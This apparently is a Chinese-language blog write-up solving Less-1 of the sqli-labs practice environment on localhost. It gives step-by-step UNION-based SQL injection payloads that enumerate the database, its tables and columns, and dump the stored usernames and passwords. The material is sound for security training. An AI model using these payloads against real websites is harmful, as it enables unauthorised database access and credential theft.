sqlilabs闖關指北(隨緣做隨緣更)
阿新 • • 發佈:2021-07-22
web畢竟不是主業,龜速更新,萌新一頭如有錯誤還望大佬們指出
Less-1
嘗試 ?id=1 回顯正常
接著嘗試在 id 後面加上',發現頁面回顯不正常,表示可能存在字元注入
輸入 --+ 將 sql 後面的語句註釋掉後,發現頁面回顯正常,則證明這個地方是單引號字元型注入
接著使用 order by 判斷該表中一共有幾列資料。order by 3 頁面回顯正常,4 頁面回顯不正常,說明此表一共有 3 列
將 id=1 改為一個數據庫不存在的 id 值,如 466,使用 union select 1,2,3 聯合查詢語句檢視頁面是否有顯示位
發現頁面先輸出了 2 和 3,說明頁面有 2 個顯示位
然後利用 sql 查詢語句依次爆破出資料庫內的資料庫名,表名,列名,欄位資訊
查詢當前使用的資料庫和基本資訊
http://localhost/sqli-labs-master/Less-1/?id=466' union select 1,2,concat_ws(char(32,58,32),user(),database(),version()) --+
其中 concat_ws() 的第一個引數是連線字串的分隔符,user()返回當前資料庫連線使用的使用者,database()返回當前資料庫連線使用的資料庫,version()返回當前資料庫的版
在繼續爆破前先明確以下知識點:
- information_schema.tables: 包含了資料庫裡所有的表
- table_name: 表名
- table_schema: 資料庫名
- column_name: 欄位名
查詢資料庫security的表
http://localhost/sqli-labs-master/Less-1/?id=466' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
接著看users表的欄位名 http://localhost/sqli-labs-master/Less-1/id=466' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+
看到了 username 和 password 欄位
然後去查詢欄位資訊
http://localhost/sqli-labs-master/Less-1/id=466' union select 1,2,group_concat(0x5c,username,0x3a,password) from users--+
獲得了所有的賬號和密碼,本題到此結束